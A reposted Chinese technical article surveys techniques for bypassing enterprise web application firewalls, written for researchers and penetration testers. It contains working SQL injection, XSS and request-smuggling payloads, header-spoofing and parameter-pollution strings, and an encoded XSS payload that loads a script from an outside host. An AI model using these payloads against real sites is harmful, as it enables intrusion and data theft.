本文轉載來源公眾號:Zacarx隨筆
前言
Web應用防火牆(WAF)作為現代企業Web安全架構的核心組件,在防禦SQL注入、XSS、RCE等常見攻擊中扮演着關鍵角色。然而,隨着攻防技術的不斷演進,針對企業級WAF的繞過技術也在持續發展。本文基於最新的學術研究和實戰案例,系統性地梳理了當前主流WAF產品的繞過技術,旨在為安全研究人員和滲透測試工程師提供技術參考。
一、WAF工作原理與檢測機制
1.1 WAF架構與部署模式
企業級WAF通常採用以下三種部署模式:
網絡型WAF(Network-based)
- 部署在網絡邊界,以硬件設備或專用服務器形式存在
- 保護整個網絡內的所有Web應用
- 典型代表:F5 BIG-IP ASM、Imperva SecureSphere
主機型WAF(Host-based)
- 部署在Web服務器上,以軟件形式運行
- 僅保護部署節點上的應用
- 典型代表:ModSecurity、NAXSI
雲託管WAF(Cloud-hosted)
- 作為SaaS服務提供,由第三方管理基礎設施
- 保護任意位置的Web應用
- 典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai
1.2 核心檢測機制
現代WAF採用多層檢測機制:
1.2.1 基於簽名的檢測(Signature-Based Detection)
工作原理:
- 維護已知攻擊模式數據庫(字符串或正則表達式)
- 將請求元素(URL、Headers、Body)與簽名庫匹配
- 典型規則集:OWASP CRS(Core Rule Set)
優勢:
- 對已知攻擊檢測準確率高
- 處理開銷相對較低
- 誤報率低
典型規則示例:
if url_parameter "user_input" contains "UNION SELECT"
then block
1.2.2 基於規則的過濾(Rule-Based Filtering)
負向安全模型(Blacklisting):
- 定義禁止的內容
- 默認允許所有流量,僅阻止匹配黑名單的請求
- 易於初始部署,但容易被繞過
正向安全模型(Whitelisting):
- 定義允許的內容
- 默認拒絕所有流量,僅允許符合白名單的請求
- 安全性高,但配置複雜,維護成本高
1.2.3 異常檢測(Anomaly Detection)
工作原理:
- 學習應用正常流量基線
- 標記偏離基線的異常請求
優勢:
- 可檢測0day攻擊
- 自適應應用特性
1.2.4 基於AI/ML的檢測
工作原理:
- 使用機器學習模型(隨機森林、SVM、神經網絡)
- 基於海量流量數據訓練分類模型
- 實時對新請求進行分類
優勢:
- 高準確率檢測複雜和0day攻擊
- 可持續學習適應
二、主流企業級WAF產品解析
2.1 國外主流WAF產品
| WAF產品 | 廠商 | 部署類型 | 核心規則集 | 市佔率 |
|---|---|---|---|---|
| Cloudflare WAF | Cloudflare | Cloud | Managed + OWASP CRS | 高 |
| AWS WAF | Amazon | Cloud | AWS Managed Rules + OWASP CRS | 高 |
| Azure WAF | Microsoft | Cloud | DRS 2.1 (基於 CRS 3.2) | 高 |
| Google Cloud Armor | Cloud | ModSecurity + 自定義規則 | 中 | |
| F5 BIG-IP ASM | F5 Networks | Network/Virtual | Rapid Deployment Policy | 高 |
| ModSecurity | Trustwave/OWASP | Host/Network | OWASP CRS | 高 |
| Imperva WAF | Imperva | Cloud/Network/Host | ThreatRadar + 自定義 | 中 |
| Akamai Kona | Akamai | Cloud | Adaptive Security Engine | 高 |
| Fortinet FortiWeb | Fortinet | Network/Virtual | Extended Protection | 中 |
2.2 OWASP CRS (Core Rule Set)
OWASP CRS是WAF領域最廣泛使用的開源規則集,被大量商業WAF採用作為基礎規則。
覆蓋的攻擊類型:
- SQL注入(SQLi)
- 跨站腳本(XSS)
- 本地文件包含(LFI)
- 遠程文件包含(RFI)
- 遠程代碼執行(RCE)
- PHP注入
- Session固定
- HTTP協議違規
- 惡意掃描器檢測
版本演進:
- CRS 2.x(已停止維護)
- CRS 3.0~3.2(廣泛使用)
- CRS 3.3+(當前版本)
- CRS 4.0(Next Generation)
偏執等級(Paranoia Level):
- PL1:基礎防護,誤報率低
- PL2:增強防護
- PL3:嚴格防護
- PL4:最大防護,誤報率高
三、解析差異:WAF繞過的核心原理
3.1 HTTP解析差異(Parser Differential)
核心概念:WAF與後端應用對同一HTTP請求的理解不一致,是繞過的根本原因。
產生原因:
- WAF與應用使用不同的HTTP解析庫
- RFC標準存在模糊性和歧義
- 實現細節差異
- 性能與安全的權衡
典型場景:
場景1:Content-Type解析差異
WAF可能僅檢查application/x-www-form-urlencoded,而後端同時接受multipart/form-data:
POST /api/search HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="query"
' UNION SELECT password FROM users--
------Boundary--
90%以上的網站可互換接受這兩種Content-Type,但WAF檢測規則可能不同步。
為了方便大家理解,大家可以感受下兩者差異:
場景2:參數處理差異
GET /search?q=safe&q=malicious
不同技術棧對重複參數的處理:
| 技術棧 | 處理方式 |
|---|---|
| PHP | 使用最後一個值 |
| ASP.NET | 用逗號連接所有值 |
| Java Servlet | 返回數組 |
| Python Flask | 使用第一個值(默認) |
| Node.js Express | 返回數組或字符串 |
WAF如果僅檢查第一個參數而後端使用最後一個,攻擊即可繞過。
3.2 歸一化不一致(Normalization Inconsistency)
核心問題:WAF在應用檢測規則前必須對請求進行歸一化(解碼、規範化路徑等),如果歸一化邏輯與後端不一致,會產生繞過。
常見不一致:
URL編碼層級:
%253Cscript%253E (雙重URL編碼)
↓ WAF解碼一次
%3Cscript%3E
↓ 後端再解碼
<script>
Unicode歸一化:
\u003Cscript\u003E (Unicode編碼)
→ 後端解碼為: <script>
路徑規範化:
/path/./to/../file.php
→ WAF可能不規範化
→ 後端規範化為: /path/file.php
四、高級WAF繞過技術
4.1 編碼與混淆技術矩陣
4.1.1 URL編碼變種
單次編碼:
< 轉換為 %3C
> 轉換為 %3E
雙重編碼:
< 轉換為 %253C
混合編碼:
<script> 轉換為 %3Cscript%3E
<script> 轉換為 <scr%69pt>
大小寫變種:
%3c %3C (某些WAF區分大小寫)
4.1.2 Unicode編碼技巧
JavaScript Context:
\u003Cscript\u003E
\u{3c}script\u{3e} // ES6語法
HTML Entity:
<script>
<script>
<script>
UTF-7編碼:
+ADw-script+AD4-
UTF-32 Overlong:
∀㸀㰀script㸀alert(1)㰀/script㸀
結合Accept-Charset: utf-32頭部,瀏覽器用UTF-8解碼後觸發XSS。
4.1.3 SQL注入編碼
十六進制編碼:
SELECT 轉換為 0x53454C454354
字符函數:
CHAR(83,69,76,69,67,84) = SELECT
註釋分割:
SEL/*comment*/ECT
SE/**/LECT
大小寫混淆:
SeLeCt
sELEct
空白字符替換:
SELECT\x09*\x0AFROM\x0Dusers (Tab, LF, CR)
4.1.4 字符集利用
IBM037/IBM500編碼(IIS):
原始: id='union select * from users--
IBM037: %89%84=%7D%A4%95%89%96%95%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
ASP.NET支持IBM字符集,可繞過不支持此編碼的WAF。
4.2 HTTP請求走私(HTTP Request Smuggling)
4.2.1 原理
利用前端(WAF/代理)和後端服務器對請求邊界理解的差異,將惡意請求"走私"到後端。
核心:CL與TE的優先級差異
Content-Length (CL): 指定body長度(字節)
Transfer-Encoding: chunked (TE): 分塊傳輸
HTTP規範對同時存在CL和TE時的處理存在模糊性,導致不同實現的差異。
4.2.2 CL.TE攻擊
前端使用Content-Length,後端使用Transfer-Encoding
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
前端認為body長度為6字節,讀取0\r\n\r\nG,請求結束。 後端使用chunked編碼,讀取0\r\n\r\n(長度0的chunk表示結束),剩餘的G被當作下一個請求的開頭。
攻擊載荷示例:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
0
4.2.3 TE.CL攻擊
前端使用Transfer-Encoding,後端使用Content-Length
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /admin HTTP/1.1
X:
0
4.2.4 TE.TE攻擊(混淆TE頭)
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked
一側識別為chunked,另一側忽略,產生解析差異。
危害:
- 繞過WAF規則(走私的請求未被檢測)
- 緩存投毒
- 會話劫持
- 請求劫持
4.3 HTTP參數污染(HTTP Parameter Pollution - HPP)
4.3.1 ASP.NET參數拼接
行為:ASP.NET使用逗號連接同名參數的所有值。
/?q=1'&q=alert(1)&q='2
→ 後端: q = "1',alert(1),'2"
在JavaScript上下文中:
var query = '1',alert(1),'2';
逗號操作符使得alert(1)被執行。
WAF繞過實例:
原始阻斷:
/?q=';alert(1);//
HPP繞過:
/?q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'
ASP.NET拼接後:
q = "1'+1;let asd=window,def='al'+'ert'+;asd[def](1,2);'"
4.3.2 跨技術棧差異利用
PHP後端:
// PHP使用最後一個參數
$id = $_GET['id']; // 獲取最後一個id值
攻擊:
/?id=safe&id=' OR 1=1--
WAF檢查第一個id=safe(安全),PHP使用最後一個id=' OR 1=1--(惡意)。
4.4 基於Content-Type的繞過
4.4.1 JSON-Based SQL注入
研究背景:2022年,Claroty Team82發現多個主流WAF(Palo Alto、AWS、Cloudflare、F5、Imperva)不支持JSON語法檢測。
繞過技術:
標準SQLi被阻斷:
' UNION SELECT username, password FROM users--
JSON函數繞過:
' OR JSON_LENGTH("{}") <= 8896 UNION SELECT @@version#
PostgreSQL JSON函數:
' OR (SELECT json_agg(password) FROM users)::text LIKE '%admin%'--
MySQL JSON函數:
' OR JSON_EXTRACT('{"a":"<script>alert(1)</script>"}','$.a')--
攻擊流程:
- 數據庫支持JSON函數(PostgreSQL、MySQL、SQLite、MSSQL)
- WAF規則未涵蓋JSON語法
- 惡意SQL隱藏在JSON函數調用中
- 繞過檢測,攻擊成功執行
4.4.2 Multipart/Form-Data解析差異
根據WAFFLED研究,multipart content-type存在大量解析差異攻擊面。
Boundary參數延續:
RFC 2231允許通過多個參數表示單個參數值:
Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary
WAF取第一個boundary(fake-boundary), 後端拼接為real-boundary,導致解析差異。
完整攻擊載荷:
POST /upload HTTP/1.1
Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary
--fake-boundary
Content-Disposition: form-data; name="field1"
safe_value
--fake-boundary--
--real-boundary
Content-Disposition: form-data; name="id"
<script>alert(document.cookie)</script>
--real-boundary--
WAF檢查fake-boundary之間的內容(安全), 後端解析real-boundary之間的內容(惡意)。
其他Multipart繞過類別:
Boundary分隔符操作:
\r\n--boundary (移除\r\n)
Content-Disposition破壞:
content-disposition: form-da\x00a; name="file"
畸形頭部注入:
conten\x00-extra: something
Content-Type: text/plain\x00
字符集變更:
Content-Type: text/plain; charset=\x00UTF-8
換行符移除:
Content-Type: multipart/form-data; boundary=test\r\n\r\n
(緊接body,無空行)
4.4.3 XML外部實體注入繞過
Extra Field Addition:
<?xml version="1.0"?>
<root>
<field1>value1</field1>
<field2 attr="bypass">XXE_PAYLOAD</field2>
</root>
DOCTYPE Closure Confusion:
<!DOCTYPE root [...]>
<field1>XXE</field1>]
</root>
Schema操作:
<genre:schema>
<field1>XXE_PAYLOAD</field1>invalid_char
</genre:schema>
Content-Type頭移除:
POST /api HTTP/1.1
Host: target.com
(無Content-Type頭,或修改為其他值)
<?xml>...</xml>
4.5 協議層繞過策略
4.5.1 HTTP方法利用
WAF規則可能僅覆蓋GET/POST,使用其他方法繞過:
HEAD /api?id=' OR 1=1-- HTTP/1.1
OPTIONS /api?id=' OR 1=1-- HTTP/1.1
PUT /api?id=' OR 1=1-- HTTP/1.1
DELETE /api?id=' OR 1=1-- HTTP/1.1
PATCH /api?id=' OR 1=1-- HTTP/1.1
TRACE /api?id=' OR 1=1-- HTTP/1.1
自定義HTTP方法:
CUSTOM /api?id=' OR 1=1-- HTTP/1.1
4.5.2 頭部操縱
X-Forwarded-For欺騙:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
CF-Connecting-IP: 127.0.0.1
WAF信任這些頭部,認為請求來自內網,放行。
HTTP方法覆蓋:
POST /api HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT
URL重寫:
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin
繞過路徑基礎的訪問控制。
國家代碼欺騙:
CF-IPCountry: US
CloudFront-Viewer-Country: US
X-GeoIP-CC: US
4.5.3 HTTP版本差異
HTTP/1.0 vs HTTP/1.1:
- HTTP/1.0缺少Host頭部必選要求
- HTTP/1.1更嚴格的規範解析
HTTP/2特性利用:
- 頭部壓縮(HPACK)
- 服務器推送
- 請求優先級
老舊WAF可能不完全支持HTTP/2檢測。
4.5.4 WebSocket協議繞過
WebSocket升級後,通信切換到ws://或wss://協議,傳統HTTP WAF規則不再適用:
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
升級成功後,通過WebSocket發送攻擊載荷:
ws.send("' OR 1=1--")
4.6 資源耗盡與時序攻擊
4.6.1 超大載荷繞過
原理:WAF通常有請求體檢測上限,超過限制的部分不被檢查。
Cloudflare限制:
- 131,072字節(128 KiB)限制
- 超過此大小的請求體不被完整檢查
攻擊載荷:
POST /api HTTP/1.1
Content-Length: 131073
[130000字節垃圾數據]
<script>alert(1)</script>
[剩餘數據]
其他WAF限制:
- AWS WAF: 8KB請求體檢測限制
- Azure WAF: 128KB限制
- F5 BIG-IP: 可配置,默認10MB
工具:Burp Suite的"WAF Bypadd"擴展可自動添加填充數據。
4.6.2 正則表達式拒絕服務(ReDoS)
原理:精心構造的輸入觸發WAF正則表達式引擎的災難性回溯。
易受攻擊的正則:
^(a+)+$
^([a-zA-Z]+)*$
(a|a)*
(a|ab)*
攻擊輸入:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
引擎嘗試所有可能的匹配組合,CPU佔用暴增,導致:
- WAF響應超時
- WAF降級為Fail-Open(允許所有流量)
- WAF崩潰
4.6.3 速率限制規避
慢速攻擊:
- 保持在速率限制閾值以下
- 分散多個IP地址
- 使用代理鏈/VPN
時序繞過:如WAF有單請求處理超時(如5秒),構造複雜請求使處理超時,請求被放行。
4.7 邏輯缺陷與規則繞過
4.7.1 大小寫敏感性
錯誤假設:WAF規則假設大小寫敏感,攻擊者利用大小寫變換:
SeLeCt * FrOm users
UNION SELECT
UnIoN SeLeCt
<ScRipT>alert()</sCRipT>
<SCRIPT>alert()</SCRIPT>
4.7.2 註釋插入
SQL註釋:
SEL/**/ECT
SE/*comment*/LECT
UNION/**/SELECT
UNI/*bypass*/ON/*waf*/SELECT
HTML註釋:
<!--><script>alert/**/()/**/</script>
<scr<!--bypass-->ipt>
4.7.3 空字節注入
路徑截斷:
/path/to/file%00.jpg
WAF檢查擴展名為.jpg(安全), 後端C函數在%00處截斷,實際讀取/path/to/file。
字符串終止:
admin'%00 OR 1=1--
4.7.4 字符集替代
IP地址表示:
127.0.0.1 (十進制)
0177.0.0.1 (八進制)
0x7F000001 (十六進制)
2130706433 (DWORD)
科學計數法:
WHERE id = 1e0 (等同於 1)
4.7.5 正則繞過技巧
未錨定的正則:
/union\sselect/ (缺少^和$)
繞過:
aaaunion selectbbb (匹配,但無效SQL)
更好的正則應為:
/\bunion\s+select\b/i
嵌套標籤繞過:
<scr<script>ipt>alert()</script>
WAF規則替換<script>為空,結果:
<script>alert()</script>
4.7.6 上下文混淆
SQL in JSON:
{"query": "' OR 1=1--"}
WAF可能僅按JSON解析,未識別SQL注入上下文。
JavaScript in HTML屬性:
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
Base64編碼繞過XSS規則。
4.8 針對AI/ML-based WAF的對抗技術
4.8.1 逃避攻擊(Evasion Attacks)
原理:對惡意載荷進行微小擾動,使其跨越ML模型的決策邊界,被誤分類為良性。
梯度基礎方法(白盒):
- FGSM (Fast Gradient Sign Method)
- PGD (Projected Gradient Descent)
- C&W Attack
查詢基礎方法(黑盒):
- 通過大量查詢學習模型行為
- 迭代調整載荷直到繞過
實例:
原始阻斷:
eval(atob('YWxlcnQoMSk='))
擾動後繞過:
new Function('a'+'lert(1)')()
4.8.2 模型推斷攻擊
目標:通過觀察WAF響應,推斷ML模型的內部邏輯。
方法:
- 發送大量不同載荷
- 記錄阻斷/允許響應
- 訓練代理模型模擬WAF行為
- 針對代理模型設計繞過
- 在真實WAF測試
防禦難點:
- 高查詢成本
- 需要精確模擬
- 可能被速率限制阻止
4.8.3 對抗樣本生成
示例(open-appsec):
基礎載荷:
alert(1)
被阻斷後,快速變換:
confirm(1) // 立即繞過
繼續適應:
prompt(1)
new Function('alert(1)')()
ML模型需要重新訓練才能覆蓋新變種,但黑客可持續生成新變種。
五、真實案例分析
案例1:Cloudflare WAF - Onbeforetoggle事件繞過
目標: 媒體網站,CloudFront保護
發現過程:
- 探測HTML標籤,發現
<script>被阻斷 - 測試JavaScript事件處理器
- 發現
onbeforetoggle事件未被阻斷
最終載荷:
<button popovertarget=x>Next</button>
<xss onbeforetoggle='eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs="))' popover id=x>XSS</xss>
技術要點:
- 利用HTML5 Popover API
onbeforetoggle事件在popover顯示/隱藏前觸發- Base64編碼繞過關鍵詞檢測
- 需要用户點擊按鈕觸發
案例2:CloudFront + F5 BIG-IP ASM - Regex捕獲組繞過
目標: 在線銀行,雙重WAF保護(CloudFront + F5 BIG-IP ASM)
嘗試1(失敗):
eval(atob('dmFyIH...'))
eval關鍵詞被阻斷
嘗試2(失敗):
window[atob('ZXZhbA==')]( ... )
atob關鍵詞被阻斷
最終成功:
`e1v2a3l4a5t6o7b`.replace(/(.).(.).(.).(.).(.).(.).(.).(.)/,
function(match,$1,$2,$3,$4,$5,$6,$7,$8) {
var e=this[$1+$2+$3+$4];
var x=this[$5+$6+$7+$8];
e(x(`dmFyIH...`));
}
);
原理:
- 正則捕獲組提取字符: e,v,a,l,a,t,o,b
this[$1+$2+$3+$4]動態構造evalthis[$5+$6+$7+$8]動態構造atob- 避免直接出現關鍵詞
替代方案:
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"base64_payload"
)
)
使用十六進制編碼規避關鍵詞。
案例3:Azure Application Gateway - 大載荷繞過
目標: 醫療服務提供商,Azure WAF保護
問題:FROM關鍵詞被嚴格阻斷
發現:在JSON請求體中添加大量垃圾數據後,SQLi載荷未被檢測。
繞過載荷:
POST /api/search HTTP/1.1
Content-Type: application/json
Content-Length: 150000
{
"query": "[130KB垃圾數據]' UNION SELECT password FROM users--"
}
技術補充:使用PostgreSQL box()幾何類型轉換函數,無需FROM關鍵詞:
' OR box('(0,0),(1,1)') <@ box'((0,0),(SELECT version(),1))'--
錯誤信息泄露數據庫版本,實現無FROM的SQL注入。
案例4:Google Cloud Armor - Parameter Pollution + 大小寫
場景: 自動化滲透測試工具(Hackbot)探測
發現1: 應用對參數名大小寫不敏感
?Query=test 等同於 ?query=test
發現2: 利用此特性構造繞過
?Query=safe&query=<script>alert(1)</script>
WAF檢查Query參數(大寫), 後端讀取query參數(小寫), 實現繞過。
案例5:AWS WAF多規則集測試
測試結果:
| AWS WAF規則集 | 繞過率 |
|---|---|
| AWS Managed Rules | 100% |
| Cyber Security Cloud | 100% |
| F5 Rule Set | 100% |
| Cloudbric Rule Set | 部分繞過 |
| Fortinet Rule Set | 部分繞過 |
有效繞過載荷:
/?id=1/union/union/select/select+1,2,3/*
/?id=1+un//ion+sel//ect+1,2,3--
/?id=1;select+1&id=2,3+from+users+where+id=1--
關鍵技術:
- 雙寫關鍵詞(union/union)利用清洗邏輯
- 註釋符分割
- HPP技術
六、自動化繞過工具與技術
6.1 WAF指紋識別
WAFW00F
wafw00f https://target.com
# 檢測到的WAF:
# Cloudflare (Cloudflare Inc.)
識別特徵:
- HTTP響應頭:
Server: cloudflare - Cookie:
__cfduid - 特定阻斷頁面
Nmap NSE腳本
nmap -p 443 --script http-waf-detect target.com
nmap --script http-waf-fingerprint target.com
6.2 SQLMap Tamper腳本
SQLMap的--tamper選項提供多種繞過腳本:
sqlmap -u "http://target.com?id=1" \
--tamper=space2comment,between \
--level=5 --risk=3
常用Tamper腳本:
| 腳本名稱 | 功能 | 示例 |
|---|---|---|
| space2comment | 空格替換為註釋 | UNION SELECT → UNION/**/SELECT |
| charencode | URL編碼 | SELECT → %53%45%4C%45%43%54 |
| base64encode | Base64編碼 | SELECT → U0VMRUNUCg== |
| between | AND/OR替換為BETWEEN | 1 AND 1 → 1 BETWEEN 0 AND 2 |
| randomcase | 隨機大小寫 | SELECT → SeLeCt |
| versionedkeywords | 添加版本註釋 | UNION → /*!50000UNION*/ |
| apostrophemask | 單引號替換 | ' → %EF%BC%87 |
| htmlencode | HTML實體編碼 | < → < |
自定義Tamper腳本示例:
# tamper/custombypass.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
# 實現自定義繞過邏輯
payload = payload.replace("UNION", "/*!50000UNION*/")
payload = payload.replace("SELECT", "/*!50000SELECT*/")
return payload
6.3 Burp Suite擴展
HTTP Request Smuggler
- 自動檢測CL.TE、TE.CL、TE.TE漏洞
- 生成走私載荷
- 驗證響應差異
WAF Bypass
- 多種編碼方式
- 自動Fuzz WAF規則
- 生成繞過報告
IP Rotate
- 通過API網關輪換IP
- 避免被WAF封禁
- 支持AWS API Gateway、Google Cloud
Hackvertor
- 強大的編碼/解碼工具
- 支持鏈式轉換
- 自定義編碼器
使用示例:
<@base64_0>SELECT * FROM users<@/base64_0>
<@hex_0><@url_0>alert(1)<@/url_0><@/hex_0>
6.4 WAFFLED工具
基於學術研究開發的WAF繞過模糊測試工具:
核心功能:
- Grammar-based fuzzing
- 自動識別解析差異
- 支持multipart/form-data、application/xml、application/json
- 針對AWS、Azure、Cloudflare、GCP、ModSecurity
使用流程:
# 1. 配置目標
vim config.yaml
# 2. 生成測試載荷
python waffled.py --grammar multipart.abnf --generate
# 3. 測試WAF
python waffled.py --test --waf cloudflare
# 4. 分析結果
python waffled.py --analyze --output report.html
發現的繞過示例:
- 1207個唯一繞過
- 24種繞過分類
- 90%+網站受影響
七、前沿研究方向
7.1 WAFFLED研究成果
發表: USENIX Security 2025
核心貢獻:
- 首次系統性研究WAF解析差異
- 自動化fuzzing方法論
- 1207個唯一繞過
- 覆蓋5大WAF、6大框架
7.2 HTTP/2與HTTP/3繞過
研究重點:
- HTTP/2特有攻擊面
- HPACK頭部壓縮利用
- HTTP/3 QUIC協議
- 多路複用請求走私
八、總結
WAF 並非安全的終極防線。研究顯示,高達 70.6% 的 WAF 可以被高級繞過技術突破,而其根源在於 HTTP 協議的複雜性和模糊性導致的解析差異:不同 WAF 與後端框架在歸一化邏輯和輸入處理上存在不一致,從而形成檢測盲區。同時,攻擊者的手段也在持續演進——從早期的簡單混淆,發展到利用協議漏洞、構造對抗樣本,以及藉助自動化工具批量生成變體。面對這種攻防不對稱的格局,單純依賴 WAF 只能提供有限保護,真正有效的安全策略應結合應用層防護、統一的輸入解析與語義檢測機制,以實現縱深防禦與持續適應性安全。
參考文獻
[1] Akhavani, S. A., et al. (2025). "WAFFLED: Exploiting Parsing Discrepancies to Bypass Web Application Firewalls." USENIX Security Symposium.
[2] Wang, Q., et al. (2024). "Break the Wall from Bottom: Automated Discovery of Protocol-Level Evasion Vulnerabilities in Web Application Firewalls." IEEE S&P.
[3] Jabiyev, B., et al. (2021). "T-Reqs: HTTP Request Smuggling with Differential Fuzzing." ACM CCS.
[4] Qu, Z., et al. (2022). "AutoSpear: Towards Automatically Bypassing and Inspecting Web Application Firewalls." BlackHat Asia.
[5] OWASP Foundation. "SQL Injection Bypassing WAF."
https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
[6] Claroty Team82. (2022). "JS-ON: Security-OFF - Abusing JSON-Based SQL to Bypass WAF." https://claroty.com/team82/research
[7] MDSec. (2024). "When WAFs Go Awry: Common Detection & Evasion Techniques." https://www.mdsec.co.uk
[8] Ethiack. (2025). "Bypassing WAFs with Parameter Pollution." https://blog.ethiack.com
[9] PortSwigger Research. "Evading defences using VueJS script gadgets." https://portswigger.net/research
[10] WAFW00F: https://github.com/EnableSecurity/wafw00f
[11] SQLMap: https://github.com/sqlmapproject/sqlmap
[12] Burp Suite: https://portswigger.net/burp
[13] WAFFLED: https://github.com/sa-akhavani/waffled
[14] Awesome WAF: https://github.com/0xInfection/Awesome-WAF
[15] CVE-2022-39955: OWASP CRS - Content-Type charset bypass
[16] CVE-2022-39956: OWASP CRS - Character encoding scheme bypass
[17] CVE-2022-39957: OWASP CRS - Accept header charset bypass
[18] CVE-2022-39958: OWASP CRS - Range header data exfiltration
[19] CVE-2024-1019: ModSecurity - Path confusion bug
[20] CVE-2024-6783: Vue 2 - Template compiler XSS
轉載鏈接:https://mp.weixin.qq.com/s/ZJRiaI1BlZZrwOlmdsxyLg?mpshare=1&scene=1&srcid=1013uogXoIoZQ95738tZU7Nh&sharer_shareinfo=966a7be3148928677189f32a4f94a79b&sharer_shareinfo_first=966a7be3148928677189f32a4f94a79b&from=industrynews&color_scheme=light#rd